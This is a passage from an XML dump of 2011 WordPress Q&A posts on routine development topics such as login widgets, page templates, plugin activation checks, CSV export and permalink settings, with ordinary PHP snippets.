?&amp;gt;&#xA;&#xA;$src = $image[0];&#xA;$width = $image[1];&#xA;$height = $image[2];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-22T15:37:29.493" />
  <row Id="23791" PostTypeId="1" CreationDate="2011-07-22T16:16:45.903" Score="0" ViewCount="34" Body="&lt;h2&gt;This is a question asked by mark in the Theme my Login forum : TML Forum TOPIC&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My main use for the widget is to display the login fields when not&#xA;  logged in and the user links when logged in.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The widget is displayed in one specific sidebar. Themed profiles are&#xA;  enabled.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now, if the page containing the [theme-my-login] shortcode shows the&#xA;  profile (i.e. action=profile), the widget instance no longer displays&#xA;  the user links, but duplicates the profile fields.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;TML 6.1.4&#xA;WP 3.2.1&#xA;Weaver 2.2&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The Solution Provided by Jeff Farthing is as below :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Well, TML assumes that if the shortcode is called in_the_loop() that&#xA;  it is the actual &quot;Login&quot; page. If the loop is not properly called,&#xA;  in_the_loop may always return true, thus displaying the page content&#xA;  in the widget as well. If you can't/won't do a proper loop, you can&#xA;  try to explicitly set it to false right before the widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $GLOBALS['wp_query']-&amp;gt;in_the_loop = false; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want to know that is this the correct solution for the weaver theme as I am facing the same problem . If the solution is correct then where to place the above mentioned code. If not then please kindly provide a solution for this plugin .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/theme-my-login/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1369" LastActivityDate="2011-07-22T16:16:45.903" Title="widget duplicates TML Profile [theme-my-login] content" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;templates&gt;" />
  <row Id="23792" PostTypeId="1" CreationDate="2011-07-22T16:33:50.103" Score="0" ViewCount="18" Body="&lt;p&gt;I am trying to make a page in wordpress with my own unique html code, so my own head, html, body tags etc... I cant get it to work but then wordpress chucks in its own head , html tags etc so it adds spaces on the page,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to strip the wordpress code out of one page, and use the code you want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible some how?&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-07-22T16:37:02.820" Title="stripping default wordpress code out of a page" Tags="&lt;html&gt;" AnswerCount="1" />
  <row Id="23793" PostTypeId="2" ParentId="23792" CreationDate="2011-07-22T16:37:02.820" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;custom page template&lt;/a&gt; and you will have complete control over what goes in that page.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-22T16:37:02.820" />
  <row Id="23794" PostTypeId="2" ParentId="15512" CreationDate="2011-07-22T16:46:58.523" Score="0" ViewCount="" Body="&lt;p&gt;Check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/anythingslider-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;AnythingSlider for WordPress&lt;/a&gt; plugin. Should do everything you need it to do.&lt;/p&gt;&#xA;" OwnerUserId="7255" LastActivityDate="2011-07-22T16:46:58.523" CommentCount="1" />
  <row Id="23795" PostTypeId="1" AcceptedAnswerId="23797" CreationDate="2011-07-22T16:51:53.610" Score="0" ViewCount="32" Body="&lt;p&gt;I'm writing a plugin that will be using custom fields added by a theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, it would be ideal if my plugin not be able to activate should these fields not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about displaying an error and forcing the activation to fail?&lt;/p&gt;&#xA;" OwnerUserId="2878" LastActivityDate="2011-07-22T17:10:00.880" Title="Force plugin to fail activation" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;errors&gt;&lt;activation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23796" PostTypeId="1" CreationDate="2011-07-22T17:06:02.147" Score="0" ViewCount="24" Body="&lt;p&gt;Of course we all know there are a few widgets ready by default to drag into a sidebar, but where are these stored? I'd like the copy the code of the Categories and modify it slightly to show my Theme's &quot;Portfolio Categories&quot; ....which are Gallery Item Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see these by default:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calendar&#xA;Categories&#xA;Custom Menu&#xA;Links&#xA;Meta&#xA;Log in/out&#xA;Pages&#xA;Recent Comments&#xA;Recent Posts&#xA;RSS&#xA;Search&#xA;Tag Cloud&#xA;Text&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-07-22T17:12:37.043" Title="Where (what direcory) are the default Wordpress Widget Codes stored?" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="23797" PostTypeId="2" ParentId="23795" CreationDate="2011-07-22T17:10:00.880" Score="2" ViewCount="" Body="&lt;p&gt;Code like this can do the trick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plugin_activation_check(){&#xA;    if ( some_check_here() ) {&#xA;        // this is the fail case&#xA;        deactivate_plugins(basename(__FILE__)); // Deactivate ourself&#xA;        wp_die(&quot;Message to user.&quot;);&#xA;    }&#xA;}&#xA;register_activation_hook(__FILE__, 'plugin_activation_check');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-22T17:10:00.880" />
  <row Id="23798" PostTypeId="2" ParentId="23796" CreationDate="2011-07-22T17:12:37.043" Score="1" ViewCount="" Body="&lt;p&gt;They're in the rather obviously named /wp-includes/default-widgets.php file.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-22T17:12:37.043" />
  <row Id="23799" PostTypeId="2" ParentId="23759" CreationDate="2011-07-22T17:20:08.273" Score="0" ViewCount="" Body="&lt;p&gt;Ive been testing out Vanilla forums and it works well, should check it out.&lt;/p&gt;&#xA;" OwnerUserId="7256" LastActivityDate="2011-07-22T17:20:08.273" />
  <row Id="23800" PostTypeId="1" AcceptedAnswerId="23801" CreationDate="2011-07-22T18:00:22.703" Score="0" ViewCount="32" Body="&lt;p&gt;I had asked a &lt;a href=&quot;http://superuser.com/questions/313853&quot;&gt;related question&lt;/a&gt; on Super User: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A use case of a system &quot;receiving&quot; files over FTP would be, for example, the way WordPress plugins are installed via 1-click where WordPress initiates a file transfer to the local Linux box from the remote WordPress plugin repository using ftp(s)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More specifically this screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/nsEup.png&quot; alt=&quot;WP asking for ftp info during plugin install&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial understanding that WordPress would transfer the files from the WordPress plugin repository, like how a FTP client would do. But &lt;a href=&quot;http://chat.stackexchange.com/transcript/message/1419840#1419840&quot;&gt;further discussions on chat&lt;/a&gt; have left me confused as to why would WordPress require the FTP details of the web server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="2160" LastActivityDate="2011-07-22T18:26:17.410" Title="Why does WordPress require a ftp server to be running on the webserver to transfer plugins?" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;ftp&gt;" AnswerCount="1" />
  <row Id="23801" PostTypeId="2" ParentId="23800" CreationDate="2011-07-22T18:14:38.980" Score="1" ViewCount="" Body="&lt;p&gt;When you do something that requires WordPress write to the filesystem, it does a check to see if it has permissions to do so by writing a temp file. If this check fails it will ask for FTP details in order to write the files to your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look in &lt;code&gt;wp-admin/includes/file.php&lt;/code&gt;, line 843, for the &lt;code&gt;get_filesystem_method&lt;/code&gt; function that does this check.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-22T18:26:17.410" LastActivityDate="2011-07-22T18:26:17.410" CommentCount="1" />
  <row Id="23802" PostTypeId="1" CreationDate="2011-07-22T18:50:37.680" Score="1" ViewCount="60" Body="&lt;p&gt;Hi guys I'm looking for a metabox type plugin that can upload ONE image into the post, that works with custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use the default WP uploader because it has too many options, like file url, image url, etc. It is too confusing for customers who are not familiar with WP. So I need something simple. A simple metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the plugins I was able to find use the default WP media uploader which as I said has too many options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of a plugin I can use for that? Free or paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest one I found was Magic Fields but it doesn't support custom post types AND it uses a custom folder to store files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7257" LastEditorUserId="6146" LastEditorDisplayName="" LastEditDate="2011-08-13T01:02:23.360" LastActivityDate="2011-08-13T01:23:24.517" Title="I need a Simple image uploader with a simple screen. WP default has too many options." Tags="&lt;metabox&gt;&lt;uploads&gt;&lt;media&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23804" PostTypeId="2" ParentId="23676" CreationDate="2011-07-22T19:02:59.217" Score="0" ViewCount="" Body="&lt;p&gt;I recently gave these instructions in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23327/db-connection-error-after-copying-a-wordpress-multisite-instance-to-a-second-loca/#answer-23753&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short Version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use find/replace on the domain and path in the sql dump file.&lt;/p&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-22T19:02:59.217" />
  <row Id="23806" PostTypeId="2" ParentId="23723" CreationDate="2011-07-22T19:29:52.527" Score="0" ViewCount="" Body="&lt;p&gt;A friend helped me with a solution that I could place in my functions.php file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts', 'my_pre_get_posts' );&#xA;&#xA;function my_pre_get_posts( $query ) {&#xA;&#xA;    if ( is_tax( 'locations' ) &amp;amp;&amp;amp; empty( $query-&amp;gt;query_vars['suppress_filters'] ) )&#xA;        $query-&amp;gt;set( 'orderby', 'comment_count' );&#xA;&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-07-22T19:29:52.527" />
  <row Id="23807" PostTypeId="1" CreationDate="2011-07-22T19:41:06.677" Score="1" ViewCount="25" Body="&lt;p&gt;I'm using a plugin for a client (that i modified to some degree) that creates and maintains a database of organization members (using a new wp table to do so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a nice feature that does a csv import and insert, that works great. There is also a feature to download the contents of this table as a csv, that works fine on my local system, but fails when running from the server. I'm, frankly, at a loss as to why. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The php file that contains the logic is simply linked to. The file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    //include some files&#xA;    include('../../../wp-blog-header.php');&#xA;&#xA;    //DIAG: phpinfo();   &#xA;&#xA;    function fputcsv4($fh, $arr) {&#xA;        $csv = &quot;&quot;;&#xA;        while (list($key, $val) = each($arr)) {&#xA;            $val = str_replace('&quot;', '&quot;&quot;', $val);&#xA;            $csv .= '&quot;'.$val.'&quot;,';&#xA;        }&#xA;        $csv = substr($csv, 0, -1);&#xA;        $csv .= &quot;\n&quot;;&#xA;        if (!@fwrite($fh, $csv)) &#xA;            return FALSE;&#xA;    }&#xA;&#xA;    //get member info and column data&#xA;    $table_name = $wpdb-&amp;gt;prefix . &quot;member_db&quot;;&#xA;    $year = date ('Y');&#xA;    $members = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM &quot;.$table_name, ARRAY_A);&#xA;    $columns = $wpdb-&amp;gt;get_results(&quot;SHOW COLUMNS FROM &quot;.$table_name, ARRAY_A);&#xA;    //DIAG: echo 'SQL: '.$sql.', RESULT: '.$result.'&amp;lt;br&amp;gt;';&#xA;&#xA;    //output headers&#xA;    header(&quot;Content-type: application/octet-stream&quot;);&#xA;    header(&quot;Content-Disposition: attachment; filename=\&quot;members.csv\&quot;&quot;);&#xA;&#xA;    //open output stream&#xA;    $output = fopen(&quot;php://output&quot;,'w'); &#xA;&#xA;    //output column headings&#xA;    $data[0] = &quot;ID&quot;;&#xA;    $i = 1;&#xA;    foreach ($columns as $column){&#xA;        //DIAG: echo '&amp;lt;pre&amp;gt;'; print_r($column); echo '&amp;lt;/pre&amp;gt;';&#xA;        $field_name = '';&#xA;        $words = explode(&quot;_&quot;, $column['Field']);&#xA;        foreach ($words as $word) $field_name .= $word.' ';&#xA;        if ( $column['Field'] != 'id' &amp;amp;&amp;amp; $column['Field'] != 'date_updated' ) {&#xA;            $data[$i] = ucwords($field_name);&#xA;            $i++;&#xA;        }&#xA;    }&#xA;    $data[$i] = &quot;Date Updated&quot;;&#xA;    fputcsv4($output, $data);&#xA;&#xA;    //output data&#xA;    foreach ($members as $member){&#xA;        //DIAG: echo '&amp;lt;pre&amp;gt;'; print_r($member); echo '&amp;lt;/pre&amp;gt;';&#xA;        $data[0] = $member['id'];&#xA;        $i = 1;&#xA;        foreach ($columns as $column){&#xA;            //DIAG: echo '&amp;lt;pre&amp;gt;'; print_r($column); echo '&amp;lt;/pre&amp;gt;';&#xA;            if ( $column['Field'] != 'id' &amp;amp;&amp;amp; $column['Field'] != 'date_updated' ) {&#xA;                $data[$i] = $member[$column['Field']];&#xA;                $i++;&#xA;            }&#xA;        }&#xA;        $data[$i] = $member['date_updated'];&#xA;        //echo '&amp;lt;pre&amp;gt;'; print_r($data); echo '&amp;lt;/pre&amp;gt;';&#xA;        fputcsv4($output, $data); &#xA;    }&#xA;    fclose($output);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, we have a routine wherein a query is run, &lt;code&gt;$output&lt;/code&gt; is established with &lt;code&gt;fopen&lt;/code&gt;, added to via foreach statements, and finally &lt;code&gt;fclose&lt;/code&gt;d.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error that I'm getting (from the server) is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error 6 (net::ERR_FILE_NOT_FOUND): The file or directory could not be found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it clearly is getting found, its just failing. If I enable &lt;code&gt;phpinfo()&lt;/code&gt; (PHP Version 5.2.17) at the top of the file, I definitely get a response - notably &lt;code&gt;Cannot modify header information&lt;/code&gt; (because &lt;code&gt;phpinfo()&lt;/code&gt; has already generated a header). All the expected data does get printed to the page, however, so that much, at least is working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing there is something preventing the fopen, fclose functions from working properly, but I don't have enough experience with this to identify exactly what the problem is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll note again that this works exactly as expected in my test environment (localhost/XAMPP, netbeans).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be most appreciated. &lt;/p&gt;&#xA;" OwnerUserId="5430" LastEditorUserId="5430" LastEditorDisplayName="" LastEditDate="2011-07-22T19:46:44.987" LastActivityDate="2011-07-22T19:46:44.987" Title="CSV file generation failing" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;errors&gt;" CommentCount="1" />
  <row Id="23809" PostTypeId="2" ParentId="23136" CreationDate="2011-07-22T20:36:17.583" Score="0" ViewCount="" Body="&lt;p&gt;This is a version of a function I'm using in the framework I'm working on, with example html replacing another function that contains something like it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Custom Loop&#xA;&#xA;function arrr_custom_loop( $r_type = 'post', $r_post_num, $r_tax = 'category', $r_terms = 'featured' )  {&#xA;$args = array( &#xA;    'showposts' =&amp;gt; $r_post_num, &#xA;    'tax_query' =&amp;gt; array( &#xA;        array( &#xA;            'post_type' =&amp;gt; $r_type,&#xA;            'taxonomy' =&amp;gt; $r_tax, &#xA;            'field' =&amp;gt; 'slug', &#xA;            'terms' =&amp;gt; array( &#xA;                $r_terms &#xA;            ), &#xA;        )&#xA;    )&#xA;);&#xA;query_posts( $args );&#xA;if (have_posts())&#xA;while ( have_posts() ) : the_post();&#xA;$more = 0;&#xA;?&amp;gt;&#xA;&amp;lt;article&amp;gt;&#xA;                &amp;lt;header class=&quot;pagetitle&quot;&amp;gt;&#xA;&amp;lt;?php if ( is_singular() )  { ?&amp;gt;&#xA;                    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;                    &amp;lt;h2 class=&quot;entry&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;/header&amp;gt;&#xA;                &amp;lt;div class=&quot;content_wrapper&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php if ( comments_open() &amp;amp;&amp;amp; ! post_password_required() )  { ?&amp;gt;&#xA;                &amp;lt;div class=&quot;comments_wrapper&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;comments&quot;&amp;gt;&#xA;&amp;lt;?php comments_template(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;&amp;lt;?php endwhile;&#xA;wp_reset_query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you would then just use the function with the arguments created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arrr_custom_loop( 'portfolio', 10, 'galleries', 'pirates' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-22T20:36:17.583" />
  <row Id="23810" PostTypeId="1" CreationDate="2011-07-22T21:05:51.390" Score="0" ViewCount="28" Body="&lt;p&gt;I have a category heading on the left with all posts in that category listed below.  When the user clicks on a specific post, I want that post (and that post only) to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;I used query_posts($query_string.'&amp;amp;posts_per_page=1');&lt;/code&gt; but when you click on a specific post in that category, only the most recent post shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I just display the selected post, and that post only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="7260" LastActivityDate="2011-08-22T17:33:27.220" Title="Display specific post only" Tags="&lt;query-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23811" PostTypeId="1" AcceptedAnswerId="23814" CreationDate="2011-07-22T21:13:17.423" Score="0" ViewCount="54" Body="&lt;p&gt;In Settings--&gt;Permalinks is there any difference between: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;checking Custom Structure and using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/%post_name%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they both correct? Will they both work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-23T01:09:00.073" Title="/%post_name%/ or /%postname%/ in Permalinks?" Tags="&lt;permalinks&gt;&lt;settings&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="23813" PostTypeId="1" AcceptedAnswerId="24836" CreationDate="2011-07-22T22:22:26.533" Score="0" ViewCount="38" Body="&lt;p&gt;I'd like to add the field &quot;Company Name&quot; to the add new user page in the admin panel. I've done quite a bit of searching and have been unable to find details on how to do this. I can easily add info to the profile page and registration with..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   function my_custom_userfields( $contactmethods ) {&#xA;    //Adds customer contact details&#xA;    $contactmethods['company_name'] = 'Company Name';&#xA;    return $contactmethods;&#xA;   }&#xA;   add_filter('user_contactmethods','my_custom_userfields',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no dice on anything else.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-07-22T22:44:06.570" LastActivityDate="2011-08-03T18:01:38.267" Title="Adding fields to the &quot;Add New User&quot; screen in the dashboard" Tags="&lt;functions&gt;&lt;wp-admin&gt;&lt;users&gt;" AnswerCount="2" />
  <row Id="23814" PostTypeId="2" ParentId="23811" CreationDate="2011-07-22T22:28:10.030" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;/%postname%/&lt;/code&gt; is the correct one and if you are asking be cause it says post_name in the codex then its just to show that you will get the actual post name.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-22T22:28:10.030" CommentCount="1" />
  <row Id="23815" PostTypeId="1" AcceptedAnswerId="23816" CreationDate="2011-07-22T23:00:48.573" Score="-1" ViewCount="48" Body="&lt;p&gt;I've created a child theme that is a wide version of twenty-ten, and it is working for the most part.  But I am struggling to make the header logo wider. You can see the work in progress here at &lt;a href=&quot;http://7d7d.net&quot; rel=&quot;nofollow&quot;&gt;http://7d7d.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS that is not working is (it still shows as 980px):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#branding {&#xA;    margin: 0 auto;&#xA;    width: 1140px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that the generated html for the logo div is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div role=&quot;banner&quot; id=&quot;branding&quot;&amp;gt;&#xA;    &amp;lt;img width=&quot;940&quot; height=&quot;198&quot; alt=&quot;&quot; &#xA;     src=&quot;http://7d7d.net/wp-content/uploads/2011/07/cropped-header.jpg&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that header.php defines the logo like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php header_image(); ?&amp;gt;&quot; &#xA; width=&quot;&amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;&quot; &#xA; height=&quot;&amp;lt;?php echo HEADER_IMAGE_HEIGHT; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't see where to set &lt;code&gt;HEADER_IMAGE_WIDTH&lt;/code&gt; and &lt;code&gt;HEADER_IMAGE_HEIGHT&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS file is here: &lt;a href=&quot;http://7d7d.net/wp-content/themes/twenty-ten-wide/style.css&quot; rel=&quot;nofollow&quot;&gt;http://7d7d.net/wp-content/themes/twenty-ten-wide/style.css&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2011-07-22T23:08:11.723" Title="Making a 1140px wide header logo in the twenty-ten theme?" Tags="&lt;theme-twenty-ten&gt;&lt;stylesheet&gt;&lt;header&gt;&lt;logo&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23816" PostTypeId="2" ParentId="23815" CreationDate="2011-07-22T23:08:11.723" Score="3" ViewCount="" Body="&lt;p&gt;in your theme's functions.php, look for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The height and width of your custom header. You can hook into the theme's own filters to change these values.&#xA;    // Add a filter to twentyten_header_image_width and twentyten_header_image_height to change these values.&#xA;    define( 'HEADER_IMAGE_WIDTH', apply_filters( 'twentyten_header_image_width', 940 ) );&#xA;    define( 'HEADER_IMAGE_HEIGHT', apply_filters( 'twentyten_header_image_height', 198 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its best to creat a &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt;, so you don't loose your customization when you next update WP/theme.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-22T23:08:11.723" CommentCount="1" />
  <row Id="23818" PostTypeId="2" ParentId="23811" CreationDate="2011-07-23T01:09:00.073" Score="0" ViewCount="" Body="&lt;p&gt;I just read a really good and informative article suggesting you should never use &lt;code&gt;/%postname%/&lt;/code&gt; I've used that since the beginning for SEO reasons. I've heard arguments throughout the years suggesting this was a bad idea. After reading the article I'm linking to I immediatley switched all sites I'm associated with to &lt;code&gt;/%post_id%/%postname%/&lt;/code&gt;&#xA;The article suggests that using the old way can cause a large increase DB queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some pretty respected names in this discussion, all are in agreement. It sounds like it might be resolved with V 3.3, but I've decided not to take a chance. Here is the link:&#xA;&lt;a href=&quot;http://digwp.com/2011/06/dont-use-postname/?utm_source=twitterfeed&amp;amp;utm_medium=twitter&amp;amp;utm_campaign=Feed%3a%20DiggingIntoWordpress%20%28Digging%20Into%20WordPress%29&quot; rel=&quot;nofollow&quot;&gt;Digging Into WordPres Article&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-23T01:09:00.073" CommentCount="2" />
  <row Id="23819" PostTypeId="2" ParentId="7556" CreationDate="2011-07-23T01:27:40.970" Score="1" ViewCount="" Body="&lt;p&gt;Easing Slider is a great plugin that will accomplish what you want: &lt;a href=&quot;http://wordpress.org/extend/plugins/easing-slider/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/easing-slider/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It let's you disable the controls as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="2107" LastEditorDisplayName="" LastEditDate="2011-07-24T01:44:25.523" LastActivityDate="2011-07-24T01:44:25.523" />
  <row Id="23820" PostTypeId="1" AcceptedAnswerId="23827" CreationDate="2011-07-23T02:32:43.437" Score="0" ViewCount="48" Body="&lt;p&gt;I'm definitely a rookie WordPress/PHP developer, so please forgive ignorance :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q: How do I format a date/time returned from a custom query against $wpdb?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the scenario: I'm trying to write a page which displays some simple statistics about my blog. One of the statistics I'm showing is the most popular posts, as determined by comment count. I've essentially got the query working, except I can't for the life of me work out how to format the post date/time the way I want to! Here the code (apologies for the long snippit):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $queryStr = &quot;&#xA;        SELECT &#xA;            posts.ID,&#xA;            posts.post_title,&#xA;            posts.post_date,&#xA;            posts.guid,&#xA;            author.user_nicename as author,&#xA;            count(comments.comment_ID) as comment_count&#xA;&#xA;        FROM&#xA;            $wpdb-&amp;gt;posts posts&#xA;            INNER JOIN&#xA;                $wpdb-&amp;gt;comments comments&#xA;                ON posts.ID = comments.comment_post_ID&#xA;            INNER JOIN&#xA;                $wpdb-&amp;gt;users author&#xA;                ON posts.post_author = author.ID&#xA;&#xA;        WHERE&#xA;            posts.post_status = 'publish'&#xA;            AND posts.post_type = 'post'&#xA;            AND comments.comment_approved = 1&#xA;            AND comments.comment_type = ''&#xA;&#xA;        GROUP BY&#xA;            posts.ID&#xA;&#xA;        ORDER BY&#xA;            count(comments.comment_ID) DESC,&#xA;            posts.ID DESC&#xA;&#xA;        LIMIT&#xA;            30&#xA;    &quot;;&#xA;&#xA;    